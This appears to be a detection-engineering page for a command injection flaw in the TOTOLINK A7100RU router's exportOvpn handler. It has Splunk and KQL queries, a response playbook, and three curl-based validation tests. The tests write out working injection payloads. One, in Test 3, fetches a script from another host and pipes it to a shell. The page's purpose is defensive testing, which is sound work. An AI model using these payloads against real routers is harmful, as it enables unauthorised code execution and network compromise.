Skip to content
CVE-2026-134882 Splunk · SPL

Detect TOTOLINK A7100RU cstecgi.cgi exportOvpn OS Command Injection (CVE-2026-134882) in Splunk

Detects exploitation of CVE-2026-134882, an OS command injection in the exportOvpn function of /cgi-bin/cstecgi.cgi on the TOTOLINK A7100RU running firmware 7.4cu.2313_B20191024. NVD rates it CVSS 10.0. A remote, unauthenticated attacker can inject shell metacharacters into the Username argument of the exportOvpn handler, causing the device to run attacker-supplied commands. Detection focuses on HTTP POST requests to cstecgi.cgi invoking the exportOvpn topicurl with embedded shell metacharacters, and on post-exploitation command execution telemetry where router or edge logs are forwarded to the SIEM.

MITRE ATT&CK

Tactic
Initial Access Execution

SPL Detection Query

Splunk (SPL)
spl
``` df00tech DF00-a0cf37c04f · https://df00tech.com/detections/CVE-2026-134882 · licence: https://df00tech.com/detections/licence ```
index=proxy OR index=firewall (uri_path="*cstecgi.cgi*" OR url="*cstecgi.cgi*")
| eval payload=coalesce(form_data, http_request_body, uri_query, url)
| search payload="*exportOvpn*"
| regex payload="(?i)(%3B|;|%26|&|%7C|\||%60|`|\$\(|%24%28|&&|\|\||%0a)"
| stats count min(_time) as firstTime max(_time) as lastTime values(payload) as payloads by src_ip dest_ip
| convert ctime(firstTime) ctime(lastTime)
| sort - count
critical severity medium confidence

Searches proxy/firewall HTTP logs for exportOvpn requests to cstecgi.cgi carrying shell metacharacters.

Data Sources

Proxy HTTP logsFirewall web inspection logsRouter syslog

Required Sourcetypes

pan:threatcisco:asasquid:accessstream:http

False Positives & Tuning

  • Administrator-initiated OpenVPN profile exports without metacharacters
  • Automated vulnerability scanners
  • Authorized red-team activity

Other platforms for CVE-2026-134882


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 exportOvpn command injection via semicolon

    Expected signal: Proxy/firewall HTTP log entry: POST /cgi-bin/cstecgi.cgi with exportOvpn and a semicolon metacharacter in the body.

  2. Test 2 exportOvpn injection via backtick substitution

    Expected signal: HTTP request log with exportOvpn and backtick characters in body.

  3. Test 3 exportOvpn injection via URL-encoded pipe

    Expected signal: HTTP log showing exportOvpn with %7C encoded pipe in the request.


Response Playbook

Triage

  1. Confirm the target IP is a TOTOLINK A7100RU running firmware 7.4cu.2313_B20191024 (check device inventory and management banner).
  2. Extract the exportOvpn request payload and decode URL-encoded shell metacharacters to reconstruct the injected command.
  3. Determine whether the request succeeded (HTTP 200 and anomalous response size/timing) versus a blocked or probed attempt.
  4. Identify the source IP's history: prior scanning, other cstecgi.cgi parameters abused, or repeated attempts.

Containment

  1. Block the attacking source IP at the perimeter firewall and restrict WAN-side access to the router management interface.
  2. Isolate the affected router from the internal network until firmware is patched or the device is replaced.
  3. Rotate any credentials, VPN keys, or secrets that were stored on or reachable from the compromised router.

Evidence Collection

  1. Capture full HTTP request/response pairs to /cgi-bin/cstecgi.cgi including headers and body for the exportOvpn calls.
  2. Preserve router syslog, NVRAM config, and any on-device shell/command history if the device can be accessed safely.
  3. Collect firewall/proxy flow records showing subsequent outbound connections from the router (reverse shells, downloads).

Escalation Criteria

  • !Escalate to IR if the injected command produced outbound connections, dropped files, or evidence of a reverse shell.
  • !Escalate if the router provides VPN or routing for sensitive internal segments, indicating potential lateral movement risk.

Investigation Guide

Forensic Artifacts

  • >HTTP access logs on the router/proxy showing POST /cgi-bin/cstecgi.cgi with topicurl=exportOvpn
  • >Router process list and spawned child processes of the cstecgi.cgi handler
  • >Any files written to /tmp or VPN export directories on the device

Tuning Guidance

If administrators legitimately export OpenVPN profiles, baseline their source IPs and the normal (metacharacter-free) request shape, then alert only on requests originating from untrusted/WAN addresses or containing shell metacharacters. Tighten the metacharacter regex if benign filenames in exports contain ampersands. Prioritize alerts where the management interface is WAN-exposed.


Hunting Queries

Hunt for any cstecgi.cgi request (any topicurl, not just exportOvpn) carrying shell metacharacters to catch related injection points.

Hunting — KQL
kql
// df00tech DF00-a0cf37c04f · https://df00tech.com/detections/CVE-2026-134882 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "cstecgi.cgi" | where RequestURL has_any (";","|","`","$(","%3B","%7C") | summarize count() by SourceIP, RequestURL
Hunting — SPL
spl
``` df00tech DF00-a0cf37c04f · https://df00tech.com/detections/CVE-2026-134882 · licence: https://df00tech.com/detections/licence ```
index=proxy uri_path="*cstecgi.cgi*" | regex _raw="(?i)(topicurl=\w+).*(;|\||`|\$\()" | stats count by src_ip, uri_path

Atomic Red Team Tests

Test 1 exportOvpn command injection via semicolon
linux

Sends a POST to cstecgi.cgi invoking exportOvpn with a semicolon-chained command in a lab TOTOLINK A7100RU.

Command

bash
curl -s -X POST 'http://192.168.0.1/cgi-bin/cstecgi.cgi' -H 'Content-Type: application/json' -d '{"topicurl":"exportOvpn","filename":"test;id>/tmp/argus_poc"}'

Cleanup

bash
ssh [email protected] 'rm -f /tmp/argus_poc' 2>/dev/null || true

Expected Telemetry

Proxy/firewall HTTP log entry: POST /cgi-bin/cstecgi.cgi with exportOvpn and a semicolon metacharacter in the body.

Expected Detection

KQL/SPL rule fires on exportOvpn + metacharacter match.

Test 2 exportOvpn injection via backtick substitution
linux

Uses backtick command substitution in the exportOvpn parameter against a lab device.

Command

bash
curl -s -X POST 'http://192.168.0.1/cgi-bin/cstecgi.cgi' -H 'Content-Type: application/json' -d '{"topicurl":"exportOvpn","filename":"`id`"}'

Cleanup

bash
echo 'no artifacts to clean'

Expected Telemetry

HTTP request log with exportOvpn and backtick characters in body.

Expected Detection

Rule matches on backtick/%60 metacharacter pattern.

Test 3 exportOvpn injection via URL-encoded pipe
linux

Sends a URL-encoded pipe metacharacter in the exportOvpn request to emulate evasion.

Command

bash
curl -s -X POST 'http://192.168.0.1/cgi-bin/cstecgi.cgi' --data 'topicurl=exportOvpn&filename=x%7Cwget%20http%3A%2F%2F10.0.0.5%2Fs%7Csh'

Cleanup

bash
echo 'no persistent artifacts'

Expected Telemetry

HTTP log showing exportOvpn with %7C encoded pipe in the request.

Expected Detection

Rule matches on %7C URL-encoded metacharacter.

Related Detections